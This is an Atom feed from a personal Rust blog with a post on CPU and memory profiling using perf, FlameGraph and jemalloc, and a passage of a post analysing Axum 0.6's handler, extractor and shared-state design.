<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Suikammd&#39;s Blog</title>
  
  
  <link href="https://suikammd.github.io/atom.xml" rel="self"/>
  
  <link href="https://suikammd.github.io/"/>
  <updated>2026-11-19T12:58:15.311Z</updated>
  <id>https://suikammd.github.io/</id>
  
  <author>
    <name>suikammd</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Rust CPU and Memory Profiling</title>
    <link href="https://suikammd.github.io/2022/12/06/rust_perf_cpu_and_memory/"/>
    <id>https://suikammd.github.io/2022/12/06/rust_perf_cpu_and_memory/</id>
    <published>2022-12-06T15:53:53.000Z</published>
    <updated>2026-11-19T12:58:15.311Z</updated>
    
    <content type="html"><![CDATA[<h2 id="CPU-Profiling-with-perf"><a href="#CPU-Profiling-with-perf" class="headerlink" title="CPU Profiling with perf"></a>CPU Profiling with perf</h2><ul><li>Add the following settings to Cargo.toml</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[profile.release]</span><br><span class="line">debug = true</span><br></pre></td></tr></table></figure><p>Also run the code in release mode.</p><ul><li>Install perf + FlameGraph</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -<span class="title class_">Syu</span> perf</span><br><span class="line">git clone <span class="attr">https</span>:<span class="comment">//github.com/brendangregg/FlameGraph.git</span></span><br></pre></td></tr></table></figure><span id="more"></span><ul><li>Start profiling</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">sudo perf record --call-graph dwarf -p 进程id</span><br><span class="line">sudo perf script &gt; out.<span class="property">perf</span></span><br><span class="line"><span class="title class_">FlameGraph</span>/stackcollapse-perf.<span class="property">pl</span> out.<span class="property">perf</span> &gt; out.<span class="property">folded</span></span><br><span class="line"><span class="title class_">FlameGraph</span>/flamegraph.<span class="property">pl</span> out.<span class="property">folded</span> &gt; out.<span class="property">svg</span></span><br></pre></td></tr></table></figure><p>Note: You must use sudo to profile; otherwise, system calls cannot be captured.</p><h2 id="Memory-Profiling"><a href="#Memory-Profiling" class="headerlink" title="Memory Profiling"></a>Memory Profiling</h2><ul><li>Add the following settings to Cargo.toml</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[profile.<span class="property">release</span>]</span><br><span class="line">debug = <span class="literal">true</span></span><br></pre></td></tr></table></figure><ul><li>Replace the memory allocator</li></ul><p>Add the following dependencies to Cargo.toml.</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[dependencies]</span><br><span class="line">jemallocator = <span class="string">&quot;0.3.2&quot;</span></span><br><span class="line">jemalloc-ctl = <span class="string">&quot;0.3.2&quot;</span></span><br><span class="line"></span><br><span class="line">[dependencies.<span class="property">jemalloc</span>-sys]</span><br><span class="line">version = <span class="string">&quot;0.3.2&quot;</span></span><br><span class="line">features = [<span class="string">&quot;stats&quot;</span>, <span class="string">&quot;profiling&quot;</span>, <span class="string">&quot;unprefixed_malloc_on_supported_platforms&quot;</span>]</span><br></pre></td></tr></table></figure><p>Replace the allocator in <a href="http://main.rs/">main.rs</a>.</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#[global_allocator]</span><br><span class="line"><span class="keyword">static</span> <span class="attr">ALLOC</span>: <span class="attr">jemallocator</span>::<span class="title class_">Jemalloc</span> = <span class="attr">jemallocator</span>::<span class="title class_">Jemalloc</span>;</span><br></pre></td></tr></table></figure><ul><li>Set the environment variable in the window where the Rust program is running</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="variable constant_">MALLOC_CONF</span>=<span class="string">&quot;prof:true,lg_prof_interval:26&quot;</span></span><br></pre></td></tr></table></figure><ul><li>Analyze the heap</li></ul><p>Once the code is running, you will see many jeprof.x.x.x.heap files generated in the working directory. In the example below, we use the heap generated when the program first started as the baseline and compare it with the 279th generated file. You can then open a.pdf to view the results.</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jeprof -pdf ./target/release/mencius-server --base=jeprof<span class="number">.583543</span><span class="number">.0</span>.<span class="property">i0</span>.<span class="property">heap</span> jeprof<span class="number">.583543</span><span class="number">.279</span>.<span class="property">i279</span>.<span class="property">heap</span>&gt; a.<span class="property">pdf</span></span><br></pre></td></tr></table></figure><p>The PDF clearly shows where the most memory is allocated and freed. These are the areas you can optimize.</p><h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>This is only a brief introduction to the tools I recently used for CPU and memory profiling. If needed, I will add more details, such as how to read CPU flame graphs and how to inspect CPU usage.</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;CPU-Profiling-with-perf&quot;&gt;&lt;a href=&quot;#CPU-Profiling-with-perf&quot; class=&quot;headerlink&quot; title=&quot;CPU Profiling with perf&quot;&gt;&lt;/a&gt;CPU Profiling with perf&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Add the following settings to Cargo.toml&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;[profile.release]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;debug = true&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;Also run the code in release mode.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install perf + FlameGraph&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;highlight jsx&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;sudo pacman -&lt;span class=&quot;title class_&quot;&gt;Syu&lt;/span&gt; perf&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;git clone &lt;span class=&quot;attr&quot;&gt;https&lt;/span&gt;:&lt;span class=&quot;comment&quot;&gt;//github.com/brendangregg/FlameGraph.git&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>Rust HTTP Framework Design: Axum 0.6 as an Example</title>
    <link href="https://suikammd.github.io/2022/12/09/rust_http_framework_design_axum/"/>
    <id>https://suikammd.github.io/2022/12/09/rust_http_framework_design_axum/</id>
    <published>2022-12-04T16:00:00.000Z</published>
    <updated>2026-11-19T12:58:15.311Z</updated>
    
    <content type="html"><![CDATA[<p>Author: <a href="https://github.com/suikammd">suikammd</a> <a href="https://github.com/ihciah">ihciah</a><br>An HTTP Server contains many internal components: protocol implementation (h1, h2, compression, and so on), connection state management (keepalive), request dispatching, middleware, business logic, and more. Users could implement all of these themselves, but everything other than the business logic is a fairly general capability. Decoupling these general capabilities from the user’s business logic gives us an HTTP framework.</p><p>Because hyper already provides a fairly complete HTTP protocol implementation in the Rust ecosystem, building an HTTP framework on hyper only requires providing capabilities such as routing, shared state, and middleware.</p><p>From the perspective of HTTP framework design, this article uses the new version of Axum as an example to analyze how an HTTP framework in Rust can provide sound abstractions and type constraints. Rust’s powerful type system allows us to write efficient and correct code.</p><span id="more"></span><h1 id="Handler-Abstraction"><a href="#Handler-Abstraction" class="headerlink" title="Handler Abstraction"></a>Handler Abstraction</h1><h2 id="Simple-Routing"><a href="#Simple-Routing" class="headerlink" title="Simple Routing"></a>Simple Routing</h2><p>Usually, our behavior is independent for different Methods at different request Paths.</p><p>Dispatching based on Path and Method is one of the general capabilities an HTTP framework needs to provide. For example, we need to dispatch <code>GET /</code> and <code>POST /login</code> to different handler functions.</p><p>The simplest router can be implemented with a HashMap. As shown below, the Key is the Path and Method, and the Value is the corresponding handler function. We could represent Path and Method simply with String, but how should we represent the handler function?</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HashMap&lt;(Path, Method), Handler&gt;</span><br></pre></td></tr></table></figure><p>I will address the Handler problem first and return to more reasonable router designs later.</p><p>Since I need to store Handlers in a HashMap, I need a fixed type to represent them; otherwise, the size of the HashMap’s Value cannot be determined. In Rust, I often use <code>Box&lt;dyn Trait&gt;</code> to unify different concrete types into a single type (corresponding to pointers in other languages).</p><p>This means I need to define a Trait to describe the handling logic.</p><h2 id="The-Simplest-Approach-Constraining-Handlers-to-Implement-a-Fixed-Fn"><a href="#The-Simplest-Approach-Constraining-Handlers-to-Implement-a-Fixed-Fn" class="headerlink" title="The Simplest Approach: Constraining Handlers to Implement a Fixed Fn"></a>The Simplest Approach: Constraining Handlers to Implement a Fixed Fn</h2><p>Because the handling logic must process an HTTP Request and produce an HTTP Response, an intuitive approach is to accept the HTTP Request structure decoded by hyper directly as an argument and require the function to return an HTTP Response.</p><p>If a handler needs a particular request parameter internally, it must extract that parameter from the HTTP Request itself and may need to perform deserialization and other processing itself (such as Json).</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">add_route</span>(handler: H, ...)</span><br><span class="line">    <span class="keyword">where</span> H: <span class="title function_ invoke__">Fn</span>(req: http::Request) <span class="punctuation">-&gt;</span> http::Response &#123; ... &#125;</span><br></pre></td></tr></table></figure><h2 id="A-More-User-Friendly-Interface"><a href="#A-More-User-Friendly-Interface" class="headerlink" title="A More User-Friendly Interface"></a>A More User-Friendly Interface</h2><p>The drawback of the previous approach is that it is cumbersome for users, who must extract parameters themselves. A more user-friendly implementation lets the framework handle parameter extraction, so users only need to declare what they need in the parameters and describe the business logic.</p><p>The result I want is:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">index</span>() <span class="punctuation">-&gt;</span> &amp;<span class="symbol">&#x27;static</span> <span class="type">str</span> &#123;</span><br><span class="line">    <span class="string">&quot;it works!&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">login</span>(form: Form&lt;...&gt;) <span class="punctuation">-&gt;</span> (StatusCode, <span class="type">String</span>) &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>To implement a unified Trait for these Handlers, I need to solve several problems:</p><ol><li>Constrain every parameter so that it can be extracted from an HTTP Request.</li><li>Constrain the function’s return value so that it can be converted into an HTTP Response.</li><li>Support variable numbers of parameters (different Handlers may have different parameter counts).</li><li>Support Async Fn.</li></ol><h3 id="Parameter-Constraints"><a href="#Parameter-Constraints" class="headerlink" title="Parameter Constraints"></a>Parameter Constraints</h3><p>I want compile-time checks to ensure that these parameters can be extracted from the Request. I can define a Trait:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// framework code</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">FromRequest</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span>;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>For example, to extract parameters from the HTTP Query, users only need to implement code like this:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// user code</span></span><br><span class="line"><span class="meta">#[derive(Deserilize)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    keyword: <span class="type">String</span>,</span><br><span class="line">    count: <span class="type">u32</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">search</span>(<span class="title function_ invoke__">Query</span>(f): Query&lt;Filter&gt;) <span class="punctuation">-&gt;</span> (StatusCode, <span class="type">String</span>) &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>The framework implements the auxiliary Query structure to extract values from Query parameters.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// framework code</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Query</span>&lt;Q&gt;(<span class="keyword">pub</span> Q);</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">FromRequest</span> <span class="keyword">for</span> <span class="title class_">Query</span>&lt;Q&gt;</span><br><span class="line"><span class="keyword">where</span> ... &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span> = ...;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt; &#123; ... &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>In addition to using built-in framework helpers such as Query and Form, users can implement FromRequest themselves.</p><p>This approach decouples request-parameter extraction from business logic and adds type constraints. They ensure that a function implements Handler and can be registered with the Router only when the relevant structure implements extraction from the Request.</p><h3 id="Return-Value-Constraints"><a href="#Return-Value-Constraints" class="headerlink" title="Return Value Constraints"></a>Return Value Constraints</h3><p>Return value constraints are similar to parameter constraints: I constrain return values so that they can be converted into Responses:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">IntoResponse</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">into_response</span>(<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> http::Response;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>A framework can provide some implementations:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">IntoResponse</span> <span class="keyword">for</span> &amp;<span class="symbol">&#x27;static</span> <span class="type">str</span> &#123;...&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">IntoResponse</span> <span class="keyword">for</span> <span class="title class_">String</span> &#123;...&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">IntoResponse</span> <span class="title function_ invoke__">for</span> (StatusCode, <span class="type">String</span>) &#123;...&#125;</span><br></pre></td></tr></table></figure><p>IntoResponse allows user handlers to return custom structures and decouples Response construction from business logic.</p><h3 id="Supporting-Variable-Numbers-of-Parameters"><a href="#Supporting-Variable-Numbers-of-Parameters" class="headerlink" title="Supporting Variable Numbers of Parameters"></a>Supporting Variable Numbers of Parameters</h3><p>Some handlers need no input parameters (such as the index endpoint mentioned earlier, which returns “hello world”), while others need one or more parameters extracted from the Request.</p><p>How can I abstract over this kind of function uniformly? In Rust, my usual approach is to define a Trait and implement it for every Fn that satisfies the conditions. For Fn types with different parameter counts, I need to implement the Trait manually for each of them.</p><p>Because this work is tedious, boring, and repetitive, macros are often used for the implementations. The resulting block of code ends up looking like a “staircase.”</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// from axum</span></span><br><span class="line"><span class="built_in">macro_rules!</span> all_the_tuples &#123;</span><br><span class="line">    ($name:ident) =&gt; &#123;</span><br><span class="line">        $name!([], T1);</span><br><span class="line">        $name!([T1], T2);</span><br><span class="line">        $name!([T1, T2], T3);</span><br><span class="line">        $name!([T1, T2, T3], T4);</span><br><span class="line">        $name!([T1, T2, T3, T4], T5);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5], T6);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6], T7);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7], T8);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8], T9);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9], T10);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10], T11);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11], T12);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12], T13);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13], T14);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14], T15);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15], T16);</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>I need a unified calling interface and will use macros to implement it:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Handler</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> http::Response;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>() <span class="punctuation">-&gt;</span> O, O: IntoResponse &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand result</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, T1&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1) <span class="punctuation">-&gt;</span> O, O: IntoResponse, T1: FromRequest &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> http::Response &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">param1</span> = <span class="keyword">match</span> T1::<span class="title function_ invoke__">from_request</span>(&amp;req) &#123;</span><br><span class="line">            <span class="title function_ invoke__">Ok</span>(p) =&gt; p,</span><br><span class="line">            <span class="title function_ invoke__">Err</span>(e) =&gt; <span class="keyword">return</span> e.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">resp</span> = (<span class="keyword">self</span>)(param1).<span class="title function_ invoke__">into_response</span>();</span><br><span class="line">        resp</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, T1, T2&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1, T2) <span class="punctuation">-&gt;</span> O, O: IntoResponse, T1: FromRequest, T1: FromRequest &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// other impl blocks ...</span></span><br></pre></td></tr></table></figure><p>Ultimately, calls still pass in <code>http::Request</code> directly and return <code>http::Response</code>.</p><h4 id="Request-Ownership"><a href="#Request-Ownership" class="headerlink" title="Request Ownership"></a>Request Ownership</h4><p>In the preceding interface, I constrained request-parameter extractors to receive only a read-only reference to the Request because I may need to extract multiple parameters. A small optimization is possible here: if there is only one parameter extractor, pass it ownership; otherwise, pass ownership to the last extractor and references to the preceding ones.</p><p>Axum has two related traits: <code>FromRequestParts</code> and <code>FromRequest</code>. FromRequestParts can extract content from the HTTP Request Head (passing a reference), while FromRequest can extract from both the HTTP Request Head and Body (passing ownership of the entire Request). <code>FromRequest</code> is very useful for extractors that need to consume the Body, but it is applied only to the last extractor.</p><h3 id="Supporting-Async-Fn"><a href="#Supporting-Async-Fn" class="headerlink" title="Supporting Async Fn"></a>Supporting Async Fn</h3><p>With the Handler Trait from the previous section, I can already define Handlers fairly ergonomically. However, handler processing often involves database reads and writes, downstream RPC calls, and similar operations. Since these network operations are asynchronous, handlers must be implemented as async fn.</p><p>Async Fn is fundamentally an Fn as well. Compared with an ordinary Fn, the difference is that async desugaring transforms the declared return value into an anonymous structure implementing Future. For example:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// before desuger</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">example</span>() <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// after desuger</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">example</span>() <span class="punctuation">-&gt;</span> AnonymousFut &#123; ... &#125;</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">AnonymousFut</span> &#123; ... &#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Future</span> <span class="keyword">for</span> <span class="title class_">AnonymousFut</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Output</span> = <span class="type">String</span>;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="keyword">Self</span>::Output&gt; &#123; ... &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>(Further reading: for some fundamentals of Rust’s asynchronous system, see <a href="https://www.ihcblog.com/rust-runtime-design-1/">this talk</a>.)</p><p>To support async fn implementations of the Handler Trait, I need to make some changes:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Handler</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Because concrete Future types are involved, there are actually two approaches here. One is to make <code>type Future: Future&lt;Output = http::Response&gt;</code> an associated type of the Trait; the other is to erase the type directly with BoxFuture.</p><p>The choice mainly depends on whether to erase the type and where to perform type erasure. Generally, in scenarios that may involve nested calls (such as nested tower Services), it is best to perform type erasure at the end. This minimizes Box usage and enlarges the code segments that can be inlined, achieving better performance.</p><p>Having modified the Trait, I likewise need to modify its implementations. Below is a demo example after macro expansion:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// illustrate for macro expand result</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, T1&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1) <span class="punctuation">-&gt;</span> Fut, Fut: Future&lt;Output = O&gt;,</span><br><span class="line">          O: IntoResponse, T1: FromRequest &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt; &#123;</span><br><span class="line">        <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(<span class="keyword">async</span> <span class="keyword">move</span> &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">param1</span> = <span class="keyword">match</span> T1::<span class="title function_ invoke__">from_request</span>(&amp;req) &#123;</span><br><span class="line">                <span class="title function_ invoke__">Ok</span>(p) =&gt; p,</span><br><span class="line">                <span class="title function_ invoke__">Err</span>(e) =&gt; <span class="keyword">return</span> e.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">            &#125;;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">resp</span> = (<span class="keyword">self</span>)(param1).<span class="title function_ invoke__">into_response</span>();</span><br><span class="line">            resp</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Note: This restricts me to asynchronous interfaces. If I also implement Handler for structures returning T: IntoResponse, the implementations conflict because both are blanket impls.</p><p>In summary, this section has clearly defined the Handler Trait and automatically implemented Handler for user-defined async fn &#x2F; fn functions meeting certain conditions. Users can apply extractors and generators to function parameters and return values, allowing the handler itself to focus on business logic.</p><h1 id="Shared-State"><a href="#Shared-State" class="headerlink" title="Shared State"></a>Shared State</h1><p>A Handler may need external values internally, such as an initialized db or a HashMap used as a cache. I generally allow users to attach a State (also called Data) when creating a Route and then extract that structure in the handler function’s parameters.</p><h2 id="Extracting-Shared-State"><a href="#Extracting-Shared-State" class="headerlink" title="Extracting Shared State"></a>Extracting Shared State</h2><p>I can treat shared state entirely as part of the Request.</p><p>This lets me reuse the FromRequest defined earlier. But how do I distinguish where the S I want to extract (a user-defined type) should come from? Or what if the S the user wants to extract is the same Query I use for request-parameter extraction? Putting S directly in the parameters would make the semantics ambiguous.</p><p>To resolve this ambiguity, I can define a State type.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">State</span>&lt;S&gt;(<span class="keyword">pub</span> S);</span><br></pre></td></tr></table></figure><p>When I subsequently implement FromRequest for State, I know that this S must be extracted from shared state.</p><h2 id="Storing-Shared-State"><a href="#Storing-Shared-State" class="headerlink" title="Storing 